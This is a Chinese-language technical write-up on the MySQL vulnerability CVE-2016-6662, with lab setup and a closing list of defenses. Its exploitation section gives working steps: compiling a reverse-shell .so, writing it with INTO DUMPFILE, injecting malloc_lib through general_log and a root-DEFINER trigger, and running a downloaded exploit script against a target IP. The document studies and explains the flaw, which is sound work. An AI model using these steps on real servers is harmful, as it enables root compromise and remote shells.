CVE-2016-6662分析及Mysql相关技术探究
字数 1794 2025-08-15 21:31:27
MySQL漏洞CVE-2016-6662分析与利用技术详解
漏洞概述
CVE-2016-6662是一个影响MySQL数据库的严重安全漏洞,允许攻击者通过注入恶意配置到MySQL配置文件(my.cnf)中,进而加载任意扩展库并获取系统权限。该漏洞在SELinux开启状态下仍然可利用。
受影响版本:
- MySQL <= 5.7.15
- MySQL <= 5.6.33
- MySQL <= 5.5.52
漏洞原理
MySQL配置中[mysqld]下的malloc_lib配置项可以加载任意位置的.so文件并执行。关键点在于:
- 执行
malloc_lib指定.so文件的进程是mysql_safe,该进程以root用户运行 - 修改配置后需要重启MySQL服务才能生效
- 攻击者需要能够修改MySQL配置文件并写入恶意.so文件
环境搭建
准备工作
-
下载MySQL源码:
- 从MySQL官网下载指定版本(如5.7.10)源码包
- 选择"常规Linux"版本并包含Boost Headers的源码包
-
创建专用用户:
useradd -s /sbin/nologin mysql -
安装依赖:
yum install -y gcc gcc-c++ cmake ncurses ncurses-devel bison
编译安装
-
解压源码包到/usr/local目录
-
进入解压目录执行编译:
cmake -DDEFAULT_CHARSET=utf8 -DDEFAULT_COLLATION=utf8_general_ci -DWITH_BOOST=boost make && make install -
配置MySQL:
- 创建数据目录:
mkdir /usr/local/mysql/data/ - 设置权限:
chmod 777 /usr/local/mysql/data/ - 修改所有者:
chown mysql:mysql /usr/local/mysql
- 创建数据目录:
-
配置文件设置:
- 从模板复制:
cp support-files/my-default.cnf /etc/my.cnf - 修改关键配置:
basedir = /usr/local/mysql datadir = /usr/local/mysql/data port = 3306
- 从模板复制:
-
初始化MySQL服务:
./mysqld --initialize-insecure --user=mysql --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data cp support-files/mysql.server /etc/init.d/mysqld
漏洞利用演示
基本利用流程
-
准备恶意.so文件:
- 下载攻击代码:http://legalhackers.com/exploits/mysql_hookandroot_lib.c
- 修改反弹shell配置并编译:
gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl
-
修改MySQL配置:
在/etc/my.cnf的[mysqld]部分添加:malloc_lib=/tmp/mysql_hookandroot_lib.so -
重启MySQL服务:
/etc/init.d/mysqld restart
关键利用技术
1. 写入恶意.so文件
使用MySQL的dumpfile语句写入十六进制格式的.so文件:
import binascii
f = open("mysql_hookandroot_lib.so", "rb")
a = f.read()
hexstr = binascii.b2a_hex(a)
f.close()
f = open("res.txt","w")
f.write(hexstr)
f.close()
MySQL语句:
select 0x[十六进制字符串] into dumpfile "/tmp/mysql_hookandroot_lib.so"
2. 修改配置文件
关键问题:
- MySQL会按顺序读取多个位置的配置文件
- 通过
outfile/dumpfile写入的文件权限为rw-rw-rw,MySQL会忽略这种权限的配置文件 - 使用
general_log写入的文件权限正确
利用步骤:
-
设置general_log文件路径:
set global general_log_file = "/usr/local/mysql/my.cnf"; -
开启general_log:
set global general_log=on; -
写入恶意配置:
select " [mysqld] malloc_lib=/tmp/mysql_hookandroot_lib.so #";
前提条件:
- 目标位置已存在合法的my.cnf文件
- 文件权限正确(其他用户不可写)
3. 非root权限利用
使用触发器技术绕过权限限制:
-
创建低权限用户:
create database cvetest; grant file on *.* to 'cveuser'@'%' identified by '123456'; grant select,insert,create on cvetest.* to 'cveuser'@'%'; flush privileges; -
使用EXP攻击:
- 下载攻击脚本:
- http://legalhackers.com/exploits/0ldSQL_MySQL_RCE_exploit.py
- http://legalhackers.com/exploits/mysql_hookandroot_lib.c
- 安装依赖:
python -m pip install mysql-connector - 修改脚本配置(路径、IP、端口等)
- 执行攻击:
python 0ldSQL_MySQL_RCE_exploit.py -dbuser cveuser -dbpass 123456 -dbhost [目标IP] -dbname cvetest -mycnf /etc/my.cnf
- 下载攻击脚本:
触发器技术原理
EXP使用触发器绕过权限限制的关键技术:
-
触发器定义:
delimiter | CREATE DEFINER='root'@'localhost' TRIGGER append_to_conf AFTER INSERT ON `poctable` FOR EACH ROW BEGIN DECLARE void varchar(550); SET global general_log_file='/etc/my.cnf'; SET global general_log = on; SELECT " [mysqld] malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so' " INTO void; SET global general_log = off; END | delimiter ; -
技术要点:
- 使用
DEFINER='root'@'localhost'以root权限执行触发器 - 触发器文件存储在数据库目录下,与表名对应的
.TRN文件中 - 通过操作表(INSERT)触发恶意SQL执行
- 使用
防御措施
- 升级MySQL到安全版本
- 严格控制MySQL配置文件的权限(其他用户不可写)
- 限制MySQL用户的权限,避免授予FILE权限
- 监控MySQL配置文件的异常修改
- 使用AppArmor或SELinux限制MySQL的权限
总结
CVE-2016-6662漏洞利用涉及多个关键技术点:
- MySQL配置中
malloc_lib的恶意利用 - 通过
general_log正确写入配置文件 - 使用触发器技术绕过权限限制
- 恶意.so文件的写入与执行
该漏洞展示了数据库安全配置的重要性,以及权限最小化原则的关键作用。